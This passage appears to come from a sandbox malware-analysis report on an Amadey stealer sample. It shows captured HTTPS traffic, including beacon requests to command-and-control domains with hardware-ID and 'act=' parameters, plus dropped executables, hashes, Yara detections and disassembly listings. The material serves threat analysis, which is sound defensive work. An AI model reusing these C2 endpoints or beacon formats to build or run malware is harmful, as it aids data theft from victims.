2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: 33 05 68 d7 40 29 f2 8f 16 ad 4a df ab 51 58 6d 07 c2 04 33 3c 2a 76 c5 76 dc 05 83 61 51 33 53 e3 f7 c3 31 74 02 54 fb 5c f4 5b 27 39 a2 4d 03 01 4a ba 5b 28 f6 58 54 fe a5 85 e3 55 3c 31 49 61 81 25 bb 17 6a a9 07 28 3e bf ec 9b a6 3d 7a a5 45 cf bd cf 0d e2 89 b2 9e ed 64 10 40 50 30 e9 12 53 7c 24 6e 50 44 93 39 76 d4 4f 04 85 c1 10 31 6c 39 e3 ef c1 7a b3 9d f6 5d f3 c8 1b bd 6d 06 80 7f fc 33 c5 2a 60 31 de 78 a0 dd b9 06 fd 6a b5 03 45 ce c2 e2 13 f3 45 dd 06 31 82 bd 39 96 e1 10 5a 39 68 eb c0 fe 4c 14 3c d3 7e 29 53 4a d3 14 df d1 af d8 9b ee 14 21 23 b4 47 15 c3 1a 9f 33 35 80 0e ef 39 de 9b 6b 80 fb 7a be ad 46 f3 b2 c7 d6 be a1 4b fe 09 23 5e 1f b4 26 b7 45 51 3b b7 eb bf 44 55 eb 42 4d fb 41 db 55 b7 f6 75 95 c4 f1 87 d1 46 1a bf 98 51 99 bd Data Ascii: 3h@)JQXm3<vvaQ3S1tT\['9MJ[(XTU<1Ia%j(>=zEd@P0S\|$nPD9vO1l9z]m3`1xjEE19Z9hL<~)SJ!#G359kzFK#^&EQ;DUBMAUuFQ
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: 37 c4 29 e4 99 2a 2b 33 df 5a 4a 0f a8 73 bf ba d8 28 62 4e 13 cd ce dc a1 d7 2f 1d 90 8c bc 5e a3 66 c9 ff 8b d8 6f 27 49 b6 66 d6 fe 3a d5 73 3c 08 54 c6 5d 46 71 5e 66 7b c7 85 a1 84 2f bb 30 58 ac ea e9 10 e2 3e 87 c4 08 d8 96 49 b6 ad 57 7d 52 b5 65 02 b0 d6 a6 73 0f 83 12 43 d8 29 27 fb f2 b8 49 c5 74 a5 39 d6 af 4e 32 cd 0f 7c ae 7d 62 03 d7 00 4e 07 57 fc bd 16 18 e4 5f 89 0f d8 6a a1 6b bc 3f 06 cb be df 1f bd 43 9f 00 13 5e 86 5d dc 7f 31 51 3f 13 cd 5b 98 eb b6 0e 0e 21 a8 c6 fa 98 14 c3 76 77 f0 2e a1 37 2d 8a 8f 2b ea 6c d4 51 b9 c0 af eb 76 05 24 d8 fa 2d 5f 56 e4 f2 9a 11 9d 98 a3 e5 2b 2c 51 e8 8d b1 11 f3 9d 6a 7e 25 e9 4b d5 e4 e8 29 69 7f 2b 69 bf f6 63 ce f4 ee b2 73 87 9d d9 45 76 6f 55 4c f1 c9 05 aa d4 65 f5 bf fd 58 0e 0c 5a 57 df Data Ascii: 7)*+3ZJs(bN/^fo'If:s<T]Fq^f{/0X>IW}ResC)'It9N2\|}bNW_jk?C^]1Q?[!vw.7-+lQv$-_V+,Qj~%K)i+icsEvoULeXZW
2024-12-20 06:12:42 UTC	15331	OUT	Data Raw: 7e 5f 51 7a 52 fa ef 38 c6 df 83 1b ee 2c 85 e2 d3 18 e9 53 c2 88 55 ec e3 1b 9f 0f ef 4d d2 e5 fe 38 4b ce f6 d8 b7 b4 e2 1e a3 2a 5e 56 59 77 7b 30 50 57 89 f1 7b bf 51 d8 8f cf a7 47 fa 8f 68 8a b4 9d e6 dd 54 f3 7c db dd c0 ec 19 80 71 7f dd 09 2b ba 47 27 fa 8a 3c d9 32 d2 af 94 eb 9e 32 cb 24 28 58 6f d6 90 7b 7e d0 04 cd 10 f8 27 29 84 1c d3 fc 2a 0e d4 93 1f c1 67 52 c7 ae bc 2d 77 27 ba dd 9a 3b b2 01 ff 2a 26 d2 2b fc f9 b3 be 7d 91 3f 26 93 f2 c2 1f c4 d3 66 2e 80 ad 78 4c a3 63 1d 13 21 6e c1 e2 fc 69 95 9f ae fb 62 a7 14 9e 74 b6 6f b5 58 fa fb 9f 83 d7 bd 87 51 71 2f 9f 30 11 1b d1 8d 79 35 27 39 34 d0 a8 ce c4 a3 37 0a 6e 9f 82 c5 44 0d 76 36 be 07 62 90 c4 d4 66 2b 42 9d 76 dc 98 04 dc 16 cb e8 13 e5 e0 a0 75 65 4c b8 fb 19 f0 ec 5e 68 28 Data Ascii: ~_QzR8,SUM8K^VYw{0PW{QGhT\|q+G'<22$(Xo{~')gR-w';*&+}?&f.xLc!nibtoXQq/0y5'947nDv6bf+BvueL^h(
2024-12-20 06:12:44 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0to8ecmu30qa1vsuqeljk8c3fl; expires=Mon, 14 Apr 2025 23:59:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fUxwG567KF66ffSj04NopwwHoc%2FSFggAOuYFweWIpCXqK6Pls2symLQEIWeq9v2aCvvi7J9%2FSgPImboALuC6Y8JhBDeiImkgZxxLE5TOp57hDFKkLYMBTZc%2FegA%2FoRG4M%2B0d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b74fda5de93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1588&rtt_var=613&sent=369&recv=577&lost=0&retrans=0&sent_bytes=2840&recv_bytes=554028&delivery_rate=1761158&cwnd=248&unsent_bytes=0&cid=00fe1f484ce4a792&ts=2368&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49868	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:45 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: treehoneyi.click
2024-12-20 06:12:45 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d 26 68 77 69 64 3d 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=rAGxSF--Support&j=&hwid=D3C7E2364AE4B7B7AC8923850305D13E
2024-12-20 06:12:46 UTC	1118	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mspivout5677469blo9l8iu239; expires=Mon, 14 Apr 2025 23:59:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D4KmAXjKXZdGP1tqY9dvJQB6CyC%2FOzxw7uHLke35sPyQraQ4Oy9LCnj8uZ78jwWYON0Z9RbEYcsYT1Fyge3YwZ4i%2BB2LBAO5msCUwQKdlDaqwIn4xOiNuycDejHvTlDOp3R8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b8c2cf74285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1702&rtt_var=654&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=984&delivery_rate=1654390&cwnd=32&unsent_bytes=0&cid=3ae9a12f439a23ed&ts=800&x=0"
2024-12-20 06:12:46 UTC	54	IN	Data Raw: 33 30 0d 0a 74 47 6e 30 6a 73 4e 47 4e 56 6d 7a 62 56 5a 2b 34 55 6c 5a 35 6a 6d 68 53 77 6d 58 4a 4c 38 4e 70 6c 51 49 48 30 68 68 76 44 6a 76 4e 41 3d 3d 0d 0a Data Ascii: 30tGn0jsNGNVmzbVZ+4UlZ5jmhSwmXJL8NplQIH0hhvDjvNA==
2024-12-20 06:12:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49920	178.62.201.34	443	7164	C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:13:06 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: immureprech.biz
2024-12-20 06:13:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 06:13:06 UTC	94	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:13:06 GMT Content-Length: 0 Connection: close

Target ID:	0
Start time:	01:11:04
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xea0000
File size:	2'913'280 bytes
MD5 hash:	636ECA2DE789EF5733F243CD5F696D3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1738392783.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:11:06
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x180000
File size:	2'913'280 bytes
MD5 hash:	636ECA2DE789EF5733F243CD5F696D3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1771220555.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:11:07
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x180000
File size:	2'913'280 bytes
MD5 hash:	636ECA2DE789EF5733F243CD5F696D3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1772643479.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:12:00
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x180000
File size:	2'913'280 bytes
MD5 hash:	636ECA2DE789EF5733F243CD5F696D3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2298005500.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:12:11
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"
Imagebase:	0xad0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:12:11
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:12:13
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"
Imagebase:	0xad0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:12:19
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe"
Imagebase:	0xe30000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:12:31
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe"
Imagebase:	0x8d0000
File size:	4'465'152 bytes
MD5 hash:	979B5B392C771138DDBDD0E534FC3F00
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	01:12:39
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"
Imagebase:	0x2c0000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:12:46
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"
Imagebase:	0xc20000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.2766441206.0000000003283000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.2773582491.0000000005700000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:12:51
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe"
Imagebase:	0x40000
File size:	4'455'936 bytes
MD5 hash:	5968B059B7177E6F97A543A06E670B29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:12:58
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"
Imagebase:	0x1000000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:12:58
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:13:02
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"
Imagebase:	0x1000000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	01:13:06
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe"
Imagebase:	0xb20000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 28%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	760
Total number of Limit Nodes:	13

Executed Functions

Function 00ED652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00ED652A,?,?,?,?,?,00ED7661), ref: 00ED6567

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780395365.00000000010F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780415201.00000000010F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780436121.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780458186.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780480490.0000000001101000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780499906.0000000001103000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780522267.0000000001104000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780542128.0000000001108000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780559734.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780578915.0000000001110000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780598816.0000000001118000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780617934.0000000001119000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780636324.000000000111A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780656084.0000000001122000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780844785.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.0000000001141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780940413.000000000115F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781180761.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781196832.000000000118C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781215404.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781232042.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1781254343.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: eb2e103bf3cc0e787d448855abeb300ced81cb3f9e93715dd79a8da743491c87
Instruction ID: f45f9dd44cc6229f70e5f1cf022c2d0b11007a535425e8962af56929cada7161
Opcode Fuzzy Hash: eb2e103bf3cc0e787d448855abeb300ced81cb3f9e93715dd79a8da743491c87
Instruction Fuzzy Hash: 59E08C30140148AEDF357F18D84DD483BAAEF91B49F042C11F9186A322CB26DEC3CE80

Function 0518018F Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1783796525.0000000005180000.00000040.00001000.00020000.00000000.sdmp, Offset: 05180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5180000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68e50b00977457eb180f02a370c248488b52777fe34e8236b6b8badb9dd97c8
Instruction ID: d962ed61f64d007683793fb505b7757eb2bc6ee32e2e43b509b9c4ecbd482565
Opcode Fuzzy Hash: c68e50b00977457eb180f02a370c248488b52777fe34e8236b6b8badb9dd97c8
Instruction Fuzzy Hash: 5A11A0EB18C128BD71B6E1856B58AB66A6FE7DF3303338426F407C6602D3D46E5D1A31

Function 00EA5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00EA6054
00000423, xrefs: 00EA60FA
00000419, xrefs: 00EA6098
00000422, xrefs: 00EA60C9
0000043f, xrefs: 00EA612B

Memory Dump Source

Source File: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1779306671.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779397072.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779477652.0000000000F09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779495653.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779514476.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779633467.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779800731.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779875095.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779910944.000000000108C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779925540.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779944332.0000000001098000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779961426.000000000109F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779981102.00000000010B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779998878.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780054786.00000000010BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780122460.00000000010CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780156672.00000000010E4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780248371.00000000010E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780280361.00000000010E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780327254.00000000010ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780364253.00000000010EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1780380278.00000000010F2000.00000040.00000001.01000000.00000003.sdmpDownload File
